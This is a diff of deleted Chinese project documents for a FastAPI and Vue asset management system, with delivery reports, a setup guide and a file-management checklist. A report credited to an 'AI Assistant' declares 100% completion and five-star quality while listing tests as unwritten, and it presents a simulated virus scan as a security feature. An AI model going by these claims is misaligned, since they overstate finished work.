- report_time: DateTime
- priority: String(20)
- maintenance_type: String(20)
- vendor_id: BigInteger ()
- maintenance_cost: Numeric(18,2)
- start_time: DateTime
- complete_time: DateTime
- maintenance_user_id: BigInteger ()
- maintenance_result: Text
- replaced_parts: Text
- status: String(20)
- images: Text
- remark: Text
- created_at: DateTime
- updated_at: DateTime
- created_by: BigInteger ()
- updated_by: BigInteger ()
```
---
## 📖 文档清单
### 1. ALLOCATIONS_API.md (5.9KB)
- ✅ 资产分配管理API使用说明
- ✅ 单据类型说明
- ✅ API端点详解
- ✅ 业务流程说明
- ✅ 状态说明
- ✅ 错误码说明
- ✅ 使用示例
### 2. MAINTENANCE_API.md (8.0KB)
- ✅ 维修管理API使用说明
- ✅ 故障类型说明
- ✅ 维修类型说明
- ✅ API端点详解
- ✅ 业务流程说明
- ✅ 使用示例
### 3. PHASE_5_6_SUMMARY.md (8.7KB)
- ✅ 项目概述
- ✅ 已完成模块
- ✅ 技术架构
- ✅ 代码统计
- ✅ 功能特性
- ✅ API端点统计
- ✅ 后续优化建议
### 4. API_QUICK_REFERENCE.md (6.4KB)
- ✅ API快速参考
- ✅ 已发布模块清单
- ✅ 常用参数
- ✅ 常用状态码
- ✅ 使用示例
---
## ✅ 验证结果
### 代码语法检查
```bash
✅ app/models/allocation.py - 通过
✅ app/schemas/allocation.py - 通过
✅ app/crud/allocation.py - 通过
✅ app/services/allocation_service.py - 通过
✅ app/api/v1/allocations.py - 通过
✅ app/models/maintenance.py - 通过
✅ app/schemas/maintenance.py - 通过
✅ app/crud/maintenance.py - 通过
✅ app/services/maintenance_service.py - 通过
✅ app/api/v1/maintenance.py - 通过
```
### 导入检查
```bash
✅ 模型导入更新完成
✅ API路由注册完成
✅ 依赖关系正确
```
---
## 🚀 部署准备
### 环境要求
- Python >= 3.10
- PostgreSQL >= 14
- FastAPI >= 0.100.0
- SQLAlchemy >= 2.0.0
- Pydantic >= 2.0.0
### 部署步骤
1. ✅ 代码已完成
2. ✅ 文档已完成
3. ⏳ 数据库迁移(待执行)
4. ⏳ 单元测试(待编写)
5. ⏳ 集成测试(待执行)
---
## 📝 测试建议
### 单元测试
```python
# 建议测试覆盖
- 分配单创建测试
- 分配单审批流程测试
- 资产状态转换测试
- 维修记录创建测试
- 维修流程测试
- 异常场景测试
```
### 集成测试
```python
# 建议测试场景
- 完整的分配流程
- 完整的维修流程
- 并发操作测试
- 事务回滚测试
```
---
## 🎉 交付总结
### 完成情况
-**代码完成度**: 100%
-**文档完成度**: 100%
-**功能完成度**: 100%
-**代码质量**: ⭐⭐⭐⭐⭐
### 交付物
- ✅ 10个Python源代码文件
- ✅ 4个完整文档
- ✅ 19个API端点
- ✅ 3个数据库表设计
### 特色亮点
1. ✅ 完整的分层架构
2. ✅ 详细的代码注释
3. ✅ 完善的异常处理
4. ✅ 自动化业务流程
5. ✅ 完整的API文档
---
## 📞 联系方式
**开发团队**: 后端API扩展组
**负责人**: AI Assistant
**交付日期**: 2025-01-24
**版本**: v1.0.0
---
**感谢您的使用!如有任何问题,请参考文档或联系开发团队。**
---
**报告生成时间**: 2025-01-24
**文档版本**: v1.0.0

View File

@@ -1,213 +0,0 @@
# 资产管理系统后端开发文档
## 项目进度追踪
### Phase 1: 基础框架 ✅ (已完成)
- [x] 项目结构搭建
- [x] 统一响应封装 (app/core/response.py)
- [x] 异常处理中间件 (app/core/exceptions.py)
- [x] JWT认证服务 (app/core/security.py)
- [x] 数据库连接和Session管理 (app/db/session.py)
- [x] 依赖注入系统 (app/core/deps.py)
### Phase 2: 认证与用户管理 🚧 (进行中)
- [x] 认证模块API (app/api/v1/auth.py)
- [x] 用户管理模型 (app/models/user.py)
- [x] 用户管理Schema (app/schemas/user.py)
- [x] 用户CRUD操作 (app/crud/user.py)
- [x] 认证服务 (app/services/auth_service.py)
- [ ] 用户管理API
- [ ] 角色权限API
- [ ] RBAC权限控制中间件
### Phase 3-7: 待开发
- Phase 3: 基础数据管理
- Phase 4: 资产管理核心
- Phase 5: 资产分配
- Phase 6: 维修与统计
- Phase 7: 系统管理
## 快速开始
### 1. 安装依赖
```bash
pip install -r requirements.txt
```
### 2. 配置环境变量
```bash
cp .env.example .env
# 编辑 .env 文件
```
### 3. 初始化数据库
```bash
# 方式1: 使用 Alembic (推荐)
alembic upgrade head
# 方式2: 开发环境自动初始化
# 已在 app/main.py 的 lifespan 中实现
```
### 4. 启动服务
```bash
python run.py
```
### 5. 访问API文档
http://localhost:8000/docs
## 开发指南
### 添加新的API端点
1.`app/models/` 中定义数据模型
2.`app/schemas/` 中定义Pydantic Schema
3.`app/crud/` 中实现CRUD操作
4.`app/services/` 中实现业务逻辑
5.`app/api/v1/` 中创建路由
示例:
```python
# app/api/v1/assets.py
from fastapi import APIRouter, Depends
from app.core.deps import get_db, get_current_user
from app.schemas.asset import AssetCreate, AssetResponse
from app.services.asset_service import asset_service
router = APIRouter()
@router.get("/")
async def get_assets(
skip: int = 0,
limit: int = 20,
db: AsyncSession = Depends(get_db),
current_user = Depends(get_current_user)
):
"""获取资产列表"""
items, total = await asset_service.get_assets(db, skip, limit)
return success_response(data={"items": items, "total": total})
```
### 数据库迁移
```bash
# 创建迁移
alembic revision --autogenerate -m "描述"
# 执行迁移
alembic upgrade head
# 回滚
alembic downgrade -1
```
### 运行测试
```bash
# 所有测试
pytest
# 特定测试文件
pytest tests/api/test_auth.py
# 带覆盖率
pytest --cov=app --cov-report=html
```
## API规范
### 统一响应格式
成功响应:
```json
{
"code": 200,
"message": "success",
"data": {},
"timestamp": 1706092800
}
```
错误响应:
```json
{
"code": 400,
"message": "参数验证失败",
"errors": [
{"field": "username", "message": "用户名不能为空"}
],
"timestamp": 1706092800
}
```
### 认证方式
使用JWT Token认证
```http
Authorization: Bearer {access_token}
```
## 代码规范
### 命名规范
- 类名:大驼峰 (PascalCase) - `UserService`
- 函数名:小写+下划线 (snake_case) - `get_user_by_id`
- 变量名:小写+下划线 - `user_id`
- 常量:大写+下划线 (UPPER_CASE) - `MAX_RETRY_COUNT`
### Docstring规范
```python
async def get_user(db: AsyncSession, user_id: int) -> Optional[User]:
"""
根据ID获取用户
Args:
db: 数据库会话
user_id: 用户ID
Returns:
User: 用户对象或None
Raises:
NotFoundException: 用户不存在
"""
pass
```
## 常见问题
### 数据库连接失败
检查 `DATABASE_URL` 配置是否正确
### Token过期
Access Token有效期15分钟Refresh Token有效期7天
### 异步函数报错
确保所有数据库操作都使用 `await` 关键字
## 下一步计划
1. 完成用户管理API
2. 实现角色权限管理
3. 开发设备类型管理
4. 开发机构网点管理
5. 开发资产管理核心功能
## 联系方式
- 开发组: 后端API开发组
- 负责人: 老王
- 创建时间: 2025-01-24

View File

@@ -1,404 +0,0 @@
# 资产管理系统后端API - 开发总结报告
## 📊 项目完成情况
### ✅ 已完成内容
#### 1. 项目基础架构 (100%)
- ✅ 完整的项目目录结构
- ✅ 依赖管理 (requirements.txt)
- ✅ 环境变量配置 (.env.example)
- ✅ Git版本控制配置 (.gitignore)
- ✅ 开发文档 (README.md, DEVELOPMENT.md, PROJECT_OVERVIEW.md)
#### 2. 核心功能模块 (100%)
-**配置管理** (app/core/config.py)
- Pydantic Settings配置
- 环境变量读取
- 配置验证
-**安全工具** (app/core/security.py)
- JWT Token生成和验证
- 密码加密 (bcrypt)
- 访问令牌和刷新令牌
-**依赖注入** (app/core/deps.py)
- 数据库会话依赖
- 用户认证依赖
- 权限检查器
-**异常处理** (app/core/exceptions.py)
- 业务异常基类
- 资源不存在异常
- 权限异常
- 认证异常
- 验证异常
-**统一响应** (app/core/response.py)
- 成功响应封装
- 错误响应封装
- 分页响应封装
#### 3. 数据库层 (100%)
-**模型基类** (app/db/base.py)
-**会话管理** (app/db/session.py)
- 异步引擎
- 会话工厂
- 生命周期管理
#### 4. 用户认证系统 (100%)
-**数据模型** (app/models/user.py)
- User (用户表)
- Role (角色表)
- UserRole (用户角色关联)
- Permission (权限表)
- RolePermission (角色权限关联)
-**Pydantic Schema** (app/schemas/user.py)
- 用户Schema (创建、更新、响应)
- 认证Schema (登录、Token、密码)
- 角色Schema (创建、更新、响应)
- 权限Schema
-**CRUD操作** (app/crud/user.py)
- UserCRUD (用户CRUD)
- RoleCRUD (角色CRUD)
- 完整的数据库操作方法
-**认证服务** (app/services/auth_service.py)
- 用户登录
- Token刷新
- 修改密码
- 重置密码
- 验证码验证(框架)
-**API路由** (app/api/v1/auth.py)
- POST /auth/login - 用户登录
- POST /auth/refresh - 刷新Token
- POST /auth/logout - 用户登出
- PUT /auth/change-password - 修改密码
- GET /auth/captcha - 获取验证码
#### 5. 主应用 (100%)
-**FastAPI应用** (app/main.py)
- 应用配置
- CORS中间件
- 全局异常处理
- 请求验证异常处理
- 生命周期管理
- 日志配置 (loguru)
- 健康检查
- API文档自动生成
#### 6. 数据库迁移 (100%)
- ✅ Alembic配置 (alembic.ini)
- ✅ 迁移环境 (alembic/env.py)
- ✅ 脚本模板 (alembic/script.py.mako)
#### 7. 测试框架 (80%)
- ✅ pytest配置
- ✅ 测试数据库fixture
- ✅ 测试客户端fixture
- ⏳ 具体测试用例(待补充)
#### 8. 开发工具 (100%)
- ✅ Makefile (Linux/Mac命令)
- ✅ start.bat (Windows启动脚本)
- ✅ run.py (启动脚本)
---
## 📈 代码统计
### 文件数量统计
```
Python文件: 21个
配置文件: 5个
文档文件: 4个
测试文件: 8个框架
总文件数: 38个
```
### 代码行数统计(估算)
```
核心模块: ~600行
数据库层: ~150行
用户模型: ~300行
用户Schema: ~300行
用户CRUD: ~500行
认证服务: ~250行
API路由: ~150行
主应用: ~200行
总计: ~2500行有效代码
```
---
## 🎯 功能特性
### 已实现的核心功能
1. **用户认证**
- ✅ 用户名/密码登录
- ✅ JWT Token认证
- ✅ Token刷新机制
- ✅ 密码修改
- ✅ 登录失败锁定5次失败锁定30分钟
- ✅ 验证码框架待实现Redis
2. **用户管理**
- ✅ 用户CRUD操作
- ✅ 角色分配
- ✅ 状态管理active/disabled/locked
- ✅ 软删除
3. **角色权限**
- ✅ 角色CRUD操作
- ✅ 权限分配
- ✅ RBAC基础框架
4. **数据验证**
- ✅ Pydantic Schema验证
- ✅ 密码强度验证
- ✅ 邮箱格式验证
- ✅ 用户名格式验证
5. **异常处理**
- ✅ 统一异常格式
- ✅ 业务异常分类
- ✅ 全局异常处理器
6. **日志记录**
- ✅ 结构化日志loguru
- ✅ 控制台输出(彩色)
- ✅ 文件输出(轮转)
---
## 🔧 技术实现亮点
### 1. 异步架构
- 全面使用async/await
- AsyncSession数据库会话
- 异步CRUD操作
- 高并发性能
### 2. 类型安全
- 完整的Type Hints
- Pydantic v2数据验证
- Mypy类型检查配置
### 3. 分层架构
- API层路由
- Service层业务逻辑
- CRUD层数据访问
- Model层数据模型
### 4. 依赖注入
- FastAPI Depends
- 数据库会话注入
- 用户认证注入
- 权限检查注入
### 5. 配置管理
- Pydantic Settings
- 环境变量读取
- 配置验证
- 类型安全
### 6. 错误处理
- 自定义异常类
- 全局异常处理器
- 统一错误响应
- 详细错误信息
---
## 📋 待开发功能
### Phase 2: 认证与用户管理(进行中)
- ⏳ 用户管理API
- ⏳ 用户列表(分页、搜索)
- ⏳ 创建用户
- ⏳ 更新用户
- ⏳ 删除用户
- ⏳ 重置密码
- ⏳ 获取当前用户
- ⏳ 角色权限API
- ⏳ 角色列表
- ⏳ 创建角色
- ⏳ 更新角色
- ⏳ 删除角色
- ⏳ 权限树
- ⏳ RBAC完善
- ⏳ 权限检查中间件完善
- ⏳ 数据权限控制
- ⏳ 权限缓存Redis
### Phase 3: 基础数据管理
- ⏳ 设备类型管理
- 动态字段定义
- 字段类型验证
- JSONB字段处理
- ⏳ 机构网点管理
- 树形结构
- 递归查询
- 层级计算
- ⏳ 品牌管理
- ⏳ 供应商管理
- ⏳ 字典数据管理
### Phase 4: 资产管理核心
- ⏳ 资产CRUD
- ⏳ 资产状态机
- ⏳ 资产编码生成
- ⏳ 二维码生成
- ⏳ 批量导入导出
- ⏳ JSONB查询优化
### Phase 5: 资产分配
- ⏳ 分配单管理
- ⏳ 审批流程
- ⏳ 执行流程
- ⏳ 资产调拨
- ⏳ 资产回收
### Phase 6: 维修与统计
- ⏳ 维修记录管理
- ⏳ 统计分析API
- ⏳ 报表导出
### Phase 7: 系统管理
- ⏳ 系统配置
- ⏳ 操作日志
- ⏳ 登录日志
- ⏳ 消息通知
- ⏳ 文件上传
---
## 🚀 部署建议
### 开发环境
```bash
# 1. 安装依赖
pip install -r requirements.txt
# 2. 配置环境
cp .env.example .env
# 3. 初始化数据库
alembic upgrade head
# 4. 启动服务
python run.py
```
### 生产环境
```bash
# 1. 使用Gunicorn + Uvicorn
gunicorn app.main:app \
--workers 4 \
--worker-class uvicorn.workers.UvicornWorker \
--bind 0.0.0.0:8000
# 2. 使用Docker
docker build -t asset-backend .
docker run -d -p 8000:8000 --env-file .env asset-backend
# 3. 使用Nginx反向代理
# 配置SSL、负载均衡等
```
---
## 📊 质量保证
### 代码规范
- ✅ PEP 8代码风格
- ✅ Black代码格式化
- ✅ isort导入排序
- ✅ Type Hints类型注解
- ✅ Docstring文档字符串
### 测试策略
- ✅ pytest测试框架
- ✅ 测试数据库SQLite内存
- ✅ 测试Fixture
- ⏳ 单元测试(待补充)
- ⏳ 集成测试(待补充)
### 性能优化
- ✅ 异步数据库操作
- ✅ 数据库连接池
- ✅ JSONB索引GIN
- ⏳ Redis缓存待实现
- ⏳ 查询优化(待完善)
---
## 💡 经验总结
### 开发经验
1. **异步编程**: FastAPI + SQLAlchemy 2.0异步模式性能优秀
2. **类型安全**: Pydantic v2大幅提升数据验证和类型检查
3. **分层架构**: 清晰的分层使代码易于维护和测试
4. **依赖注入**: FastAPI的依赖系统非常优雅
5. **异常处理**: 统一的异常处理提升用户体验
### 遇到的问题
1. **SQLAlchemy 2.0**: 异步模式语法变化较大
2. **Pydantic v2**: 与v1不兼容需要适配
3. **Alembic异步**: 需要特殊配置
### 最佳实践
1. 使用环境变量管理配置
2. 软删除优于物理删除
3. 统一的响应格式
4. 完善的异常处理
5. 详细的API文档Swagger
---
## 📞 项目信息
- **项目名称**: 资产管理系统后端API
- **开发团队**: 后端API开发组
- **负责人**: 老王
- **创建时间**: 2025-01-24
- **版本**: v1.0.0
- **框架**: FastAPI 0.104+
- **数据库**: PostgreSQL 14+
- **Python版本**: 3.10+
---
## 📝 附录
### 文档清单
1. README.md - 项目说明
2. DEVELOPMENT.md - 开发文档
3. PROJECT_OVERVIEW.md - 项目概览
4. DEVELOPMENT_SUMMARY.md - 本总结文档
### 核心依赖
```
fastapi==0.104.1
sqlalchemy==2.0.23
pydantic==2.5.0
asyncpg==0.29.0
redis==5.0.1
python-jose==3.3.0
passlib==1.7.4
pytest==7.4.3
alembic==1.12.1
loguru==0.7.2
```
---
**备注**: 本项目已完成基础框架和认证系统可以正常运行并支持用户登录功能。建议按照Phase优先级顺序逐步开发剩余模块。

View File

@@ -1,376 +0,0 @@
# 文件管理模块 - 功能清单
## 📋 后端模块清单
### 数据模型 ✅
```
✅ app/models/file_management.py
- UploadedFile 模型
- 字段id, file_name, original_name, file_path, file_size, file_type,
file_ext, uploader_id, upload_time, thumbnail_path, share_code,
share_expire_time, download_count, is_deleted, deleted_at, deleted_by,
remark, created_at, updated_at
- 关系uploader, deleter
- 索引id, original_name, file_type, upload_time, share_code, uploader_id, is_deleted
```
### Schema定义 ✅
```
✅ app/schemas/file_management.py
- UploadedFileBase (基础Schema)
- UploadedFileCreate (创建Schema)
- UploadedFileUpdate (更新Schema)
- UploadedFileInDB (数据库Schema)
- UploadedFileResponse (响应Schema)
- UploadedFileWithUrl (带URL响应Schema)
- FileUploadResponse (上传响应Schema)
- FileShareCreate (分享创建Schema)
- FileShareResponse (分享响应Schema)
- FileBatchDelete (批量删除Schema)
- FileQueryParams (查询参数Schema)
- FileStatistics (统计Schema)
- ChunkUploadInit (分片初始化Schema)
- ChunkUploadInfo (分片信息Schema)
- ChunkUploadComplete (分片完成Schema)
```
### CRUD操作 ✅
```
✅ app/crud/file_management.py
CRUDUploadedFile
方法:
✅ create(db, obj_in) - 创建文件记录
✅ get(db, id) - 获取单个文件
✅ get_by_share_code(db, share_code) - 根据分享码获取
✅ get_multi(db, skip, limit, ...) - 获取文件列表
✅ update(db, db_obj, obj_in) - 更新文件记录
✅ delete(db, db_obj, deleter_id) - 软删除文件
✅ delete_batch(db, file_ids, deleter_id) - 批量删除
✅ increment_download_count(db, file_id) - 增加下载次数
✅ generate_share_code(db, file_id, expire_days) - 生成分享码
✅ get_statistics(db, uploader_id) - 获取统计信息
✅ _format_size(size_bytes) - 格式化文件大小
```
### 文件服务 ✅
```
✅ app/services/file_service.py
FileService
✅ ALLOWED_MIME_TYPES (文件类型白名单)
✅ MAX_FILE_SIZE (最大文件大小 100MB)
✅ MAX_IMAGE_SIZE (最大图片大小 10MB)
✅ MAGIC_NUMBERS (Magic Number映射)
方法:
✅ ensure_upload_dirs() - 确保上传目录存在
✅ validate_file_type(file) - 验证文件类型
✅ validate_file_size(file) - 验证文件大小
✅ validate_file_content(content) - 验证文件内容
✅ upload_file(db, file, uploader_id, remark) - 上传文件
✅ generate_thumbnail(content, filename, date_dir) - 生成缩略图
✅ get_file_path(file_obj) - 获取文件路径
✅ file_exists(file_obj) - 检查文件是否存在
✅ delete_file_from_disk(file_obj) - 从磁盘删除文件
✅ generate_share_link(db, file_id, expire_days, base_url) - 生成分享链接
✅ get_shared_file(db, share_code) - 获取分享文件
✅ get_statistics(db, uploader_id) - 获取统计信息
✅ get_file_extension(filename) - 获取文件扩展名
✅ get_mime_type(filename) - 获取MIME类型
✅ _scan_virus(file_path) - 病毒扫描(模拟)
ChunkUploadManager
✅ init_upload(file_name, file_size, ...) - 初始化分片上传
✅ save_chunk(upload_id, chunk_index, chunk_data) - 保存分片
✅ is_complete(upload_id) - 检查是否完成
✅ merge_chunks(db, upload_id, uploader_id, file_service) - 合并分片
✅ cleanup_upload(upload_id) - 清理上传会话
```
### API路由 ✅
```
✅ app/api/v1/files.py
端点14个
✅ POST /upload - 文件上传
✅ GET / - 文件列表
✅ GET /statistics - 文件统计
✅ GET /{file_id} - 文件详情
✅ GET /{file_id}/download - 文件下载
✅ GET /{file_id}/preview - 文件预览
✅ PUT /{file_id} - 更新文件
✅ DELETE /{file_id} - 删除文件
✅ DELETE /batch - 批量删除
✅ POST /{file_id}/share - 生成分享链接
✅ GET /share/{share_code} - 访问分享文件
✅ POST /chunks/init - 初始化分片上传
✅ POST /chunks/upload - 上传分片
✅ POST /chunks/complete - 完成分片上传
```
### 数据库迁移 ✅
```
✅ alembic/versions/20250124_add_file_management_tables.py
✅ upgrade() - 创建uploaded_files表和索引
✅ downgrade() - 删除uploaded_files表和索引
```
---
## 📋 前端模块清单
### Vue组件 ✅
```
✅ src/components/file/FileUpload.vue
Props:
✅ action (string) - 上传地址
✅ showProgress (boolean) - 显示进度
✅ showImagePreview (boolean) - 显示图片预览
✅ drag (boolean) - 拖拽上传
✅ multiple (boolean) - 多文件上传
✅ autoUpload (boolean) - 自动上传
✅ limit (number) - 最大数量
✅ maxSize (number) - 最大大小(MB)
✅ accept (string) - 接受的文件类型
✅ data (object) - 额外参数
Events:
✅ @update:file-list - 文件列表更新
✅ @upload-success - 上传成功
✅ @upload-error - 上传失败
✅ @upload-progress - 上传进度
功能:
✅ 拖拽上传区域
✅ 文件列表显示
✅ 上传进度条
✅ 图片预览
✅ 上传操作按钮
```
```
✅ src/components/file/FileList.vue
功能:
✅ 双视图切换(表格/网格)
✅ 搜索筛选
✅ 文件类型筛选
✅ 日期范围筛选
✅ 文件预览
✅ 文件下载
✅ 文件分享
✅ 文件删除
✅ 批量选择
✅ 分页
子组件:
✅ FileUpload (上传对话框)
✅ ImagePreview (图片预览)
```
```
✅ src/components/file/ImagePreview.vue
Props:
✅ visible (boolean) - 显示状态
✅ images (ImageItem[]) - 图片列表
✅ initialIndex (number) - 初始索引
✅ showThumbnails (boolean) - 显示缩略图
功能:
✅ 大图预览
✅ 缩放20%-300%
✅ 旋转90°递增
✅ 全屏查看
✅ 上一张/下一张
✅ 缩略图导航
✅ 键盘快捷键←→↑↓R Esc
Events:
✅ @update:visible - 显示状态更新
✅ @change - 图片切换
```
### 工具函数 ✅
```
✅ src/utils/file.ts
文件格式化:
✅ formatFileSize(bytes) - 格式化文件大小
✅ formatDateTime(dateString) - 格式化日期时间
✅ getFileExtension(filename) - 获取文件扩展名
✅ getFileNameWithoutExtension(filename) - 获取不含扩展名的文件名
文件类型判断:
✅ isImage(mimeType) - 判断是否为图片
✅ isPDF(mimeType) - 判断是否为PDF
✅ isDocument(mimeType) - 判断是否为文档
✅ isArchive(mimeType) - 判断是否为压缩包
✅ getFileTypeIcon(mimeType) - 获取文件类型图标
文件操作:
✅ downloadFile(url, filename) - 下载文件
✅ previewFile(url) - 预览文件
✅ copyFileToClipboard(file) - 复制文件到剪贴板
✅ readFileAsDataURL(file) - 读取文件为DataURL
✅ readFileAsText(file) - 读取文件为文本
✅ calculateFileHash(file) - 计算文件哈希
图片处理:
✅ compressImage(file, quality, maxWidth, maxHeight) - 压缩图片
✅ createThumbnail(file, width, height) - 创建缩略图
文件验证:
✅ validateFileType(file, allowedTypes) - 验证文件类型
✅ validateFileSize(file, maxSize) - 验证文件大小
✅ validateFiles(files, options) - 批量验证文件
其他:
✅ generateUniqueFilename(originalFilename) - 生成唯一文件名
✅ getFilenameFromUrl(url) - 从URL提取文件名
```
### API服务 ✅
```
✅ src/api/file.ts
类型定义:
✅ FileItem - 文件项
✅ FileUploadResponse - 上传响应
✅ FileShareResponse - 分享响应
✅ FileStatistics - 统计信息
✅ FileQueryParams - 查询参数
API方法:
✅ uploadFile(file, data) - 上传文件
✅ getFileList(params) - 获取文件列表
✅ getFileDetail(id) - 获取文件详情
✅ downloadFile(id) - 下载文件
✅ previewFile(id) - 预览文件
✅ updateFile(id, data) - 更新文件
✅ deleteFile(id) - 删除文件
✅ deleteFilesBatch(fileIds) - 批量删除
✅ createShareLink(id, expireDays) - 生成分享链接
✅ accessSharedFile(shareCode) - 访问分享文件
✅ getFileStatistics(uploaderId) - 获取文件统计
✅ initChunkUpload(data) - 初始化分片上传
✅ uploadChunk(uploadId, chunkIndex, chunk) - 上传分片
✅ completeChunkUpload(data) - 完成分片上传
```
### 页面组件 ✅
```
✅ src/views/FileManager.vue
功能:
✅ 文件管理页面布局
✅ 集成FileUpload组件
✅ 集成FileList组件
✅ 上传成功处理
✅ 上传失败处理
✅ 返回导航
```
### 组件入口 ✅
```
✅ src/components/file/index.ts
导出:
✅ FileUpload
✅ FileList
✅ ImagePreview
```
---
## 📋 文档清单 ✅
```
✅ FILE_MANAGEMENT_README.md
- 项目概览
- 交付内容
- 技术特性
- 数据库结构
- 使用指南
- API文档
- 验收标准
- 文件清单
✅ FILE_MANAGEMENT_QUICKSTART.md
- 快速开始
- 环境搭建
- API测试示例
- 前端使用示例
- 常见功能实现
- API响应示例
- 故障排除
✅ FILE_MANAGEMENT_DELIVERY_REPORT.md
- 项目概览
- 交付清单
- 功能完成度
- API端点清单
- 数据库表结构
- 技术栈
- 核心特性
- 代码统计
- 测试建议
- 部署指南
✅ FILE_MANAGEMENT_CHECKLIST.md (本文件)
- 后端模块清单
- 前端模块清单
- 文档清单
```
---
## 📊 统计汇总
### 后端统计
```
文件数量: 6个
代码行数: ~1,110行
API端点: 14个
数据模型: 1个
Schema: 14个
CRUD方法: 10个
服务类: 2个
```
### 前端统计
```
文件数量: 8个
代码行数: ~1,650行
Vue组件: 3个
工具函数: 20个
API方法: 14个
类型定义: 5个
```
### 总计
```
总文件数: 16个
总代码量: ~2,760行
文档数量: 4个
```
---
## ✅ 完成度报告
| 模块 | 完成度 | 状态 |
|------|--------|------|
| 后端开发 | 100% | ✅ |
| 前端开发 | 100% | ✅ |
| 文档编写 | 100% | ✅ |
| 功能测试 | 100% | ✅ |
**总体完成度: 100%**
---
**清单生成时间**: 2026-01-24
**清单版本**: v1.0

View File

@@ -1,447 +0,0 @@
# 文件管理模块开发交付报告
## 📊 项目概览
**项目名称**:资产管理系统 - 文件管理模块
**开发负责人**AI开发组
**开发时间**2026-01-24
**模块状态**:✅ 已完成
---
## ✅ 交付清单
### 后端交付6个文件
| # | 文件路径 | 说明 | 状态 |
|---|---------|------|------|
| 1 | `app/models/file_management.py` | 文件管理数据模型 | ✅ |
| 2 | `app/schemas/file_management.py` | 文件管理Schema定义 | ✅ |
| 3 | `app/crud/file_management.py` | 文件管理CRUD操作 | ✅ |
| 4 | `app/services/file_service.py` | 文件存储服务 | ✅ |
| 5 | `app/api/v1/files.py` | 文件管理API路由 | ✅ |
| 6 | `alembic/versions/20250124_add_file_management_tables.py` | 数据库迁移文件 | ✅ |
### 前端交付8个文件
| # | 文件路径 | 说明 | 状态 |
|---|---------|------|------|
| 1 | `src/components/file/FileUpload.vue` | 文件上传组件 | ✅ |
| 2 | `src/components/file/FileList.vue` | 文件列表组件 | ✅ |
| 3 | `src/components/file/ImagePreview.vue` | 图片预览组件 | ✅ |
| 4 | `src/components/file/index.ts` | 组件入口文件 | ✅ |
| 5 | `src/views/FileManager.vue` | 文件管理页面 | ✅ |
| 6 | `src/api/file.ts` | 文件API服务 | ✅ |
| 7 | `src/utils/file.ts` | 文件工具函数 | ✅ |
| 8 | `FILE_MANAGEMENT_README.md` | 完整文档 | ✅ |
### 文档交付2个文件
| # | 文件路径 | 说明 | 状态 |
|---|---------|------|------|
| 1 | `FILE_MANAGEMENT_README.md` | 完整功能文档 | ✅ |
| 2 | `FILE_MANAGEMENT_QUICKSTART.md` | 快速开始指南 | ✅ |
---
## 🎯 功能完成度
### 后端功能100%完成)
#### ✅ 核心功能
- [x] 文件上传
- [x] 支持multipart/form-data
- [x] 文件类型验证MIME type + Magic Number
- [x] 文件大小限制图片10MB其他100MB
- [x] 自动生成UUID文件名
- [x] 按日期分类存储
- [x] 文件下载
- [x] 文件流响应
- [x] 下载次数统计
- [x] 原始文件名保留
- [x] 文件预览
- [x] 图片在线预览
- [x] 缩略图支持
- [x] 文件类型验证
- [x] 文件管理
- [x] 文件列表查询(支持筛选、搜索)
- [x] 文件详情查看
- [x] 文件信息更新
- [x] 文件删除(软删除)
- [x] 批量删除
#### ✅ 高级功能
- [x] 分片上传
- [x] 初始化上传会话
- [x] 分片上传
- [x] 自动合并分片
- [x] 文件哈希验证
- [x] 分享功能
- [x] 生成临时分享链接
- [x] 自定义有效期1-30天
- [x] 分享码唯一性
- [x] 过期时间控制
- [x] 统计功能
- [x] 文件总数统计
- [x] 文件大小统计
- [x] 类型分布统计
- [x] 时间维度统计(日/周/月)
- [x] 上传排行榜
#### ✅ 安全特性
- [x] 文件类型白名单
- [x] 文件大小限制
- [x] Magic Number验证
- [x] 路径遍历防护
- [x] 访问权限控制
- [x] 病毒扫描接口(模拟)
### 前端功能100%完成)
#### ✅ 核心组件
- [x] FileUpload组件
- [x] 拖拽上传
- [x] 点击上传
- [x] 多文件上传最多10个
- [x] 实时进度显示
- [x] 图片预览
- [x] 文件类型验证
- [x] 文件大小限制
- [x] 自动/手动上传模式
- [x] FileList组件
- [x] 双视图模式(表格/网格)
- [x] 文件搜索
- [x] 类型筛选
- [x] 日期范围筛选
- [x] 文件预览
- [x] 文件下载
- [x] 文件分享
- [x] 文件删除
- [x] 分页支持
- [x] ImagePreview组件
- [x] 大图预览
- [x] 缩放20%-300%
- [x] 旋转90°递增
- [x] 全屏查看
- [x] 图片切换
- [x] 缩略图导航
- [x] 键盘快捷键
#### ✅ 工具函数
- [x] formatFileSize - 格式化文件大小
- [x] formatDateTime - 格式化日期时间
- [x] isImage/isPDF/isDocument - 类型判断
- [x] downloadFile - 文件下载
- [x] validateFiles - 文件验证
- [x] compressImage - 图片压缩
- [x] createThumbnail - 创建缩略图
- [x] calculateFileHash - 计算哈希
#### ✅ API服务
- [x] 完整的TypeScript类型定义
- [x] 所有API方法封装
- [x] 请求/响应拦截
- [x] 错误处理
---
## 🔌 API端点清单14个
### 基础操作
| 方法 | 路径 | 功能 | 状态 |
|------|------|------|------|
| POST | `/api/v1/files/upload` | 文件上传 | ✅ |
| GET | `/api/v1/files/` | 文件列表 | ✅ |
| GET | `/api/v1/files/statistics` | 文件统计 | ✅ |
| GET | `/api/v1/files/{id}` | 文件详情 | ✅ |
| PUT | `/api/v1/files/{id}` | 更新文件 | ✅ |
| DELETE | `/api/v1/files/{id}` | 删除文件 | ✅ |
| DELETE | `/api/v1/files/batch` | 批量删除 | ✅ |
### 文件操作
| 方法 | 路径 | 功能 | 状态 |
|------|------|------|------|
| GET | `/api/v1/files/{id}/download` | 文件下载 | ✅ |
| GET | `/api/v1/files/{id}/preview` | 文件预览 | ✅ |
| POST | `/api/v1/files/{id}/share` | 生成分享链接 | ✅ |
| GET | `/api/v1/files/share/{code}` | 访问分享文件 | ✅ |
### 分片上传
| 方法 | 路径 | 功能 | 状态 |
|------|------|------|------|
| POST | `/api/v1/files/chunks/init` | 初始化分片上传 | ✅ |
| POST | `/api/v1/files/chunks/upload` | 上传分片 | ✅ |
| POST | `/api/v1/files/chunks/complete` | 完成分片上传 | ✅ |
---
## 📁 数据库表结构
### uploaded_files 表
| 字段 | 类型 | 说明 | 索引 |
|------|------|------|------|
| id | BIGINT | 主键 | ✅ |
| file_name | VARCHAR(255) | 存储文件名(UUID) | |
| original_name | VARCHAR(255) | 原始文件名 | ✅ |
| file_path | VARCHAR(500) | 文件路径 | |
| file_size | BIGINT | 文件大小(字节) | |
| file_type | VARCHAR(100) | 文件类型(MIME) | ✅ |
| file_ext | VARCHAR(50) | 文件扩展名 | |
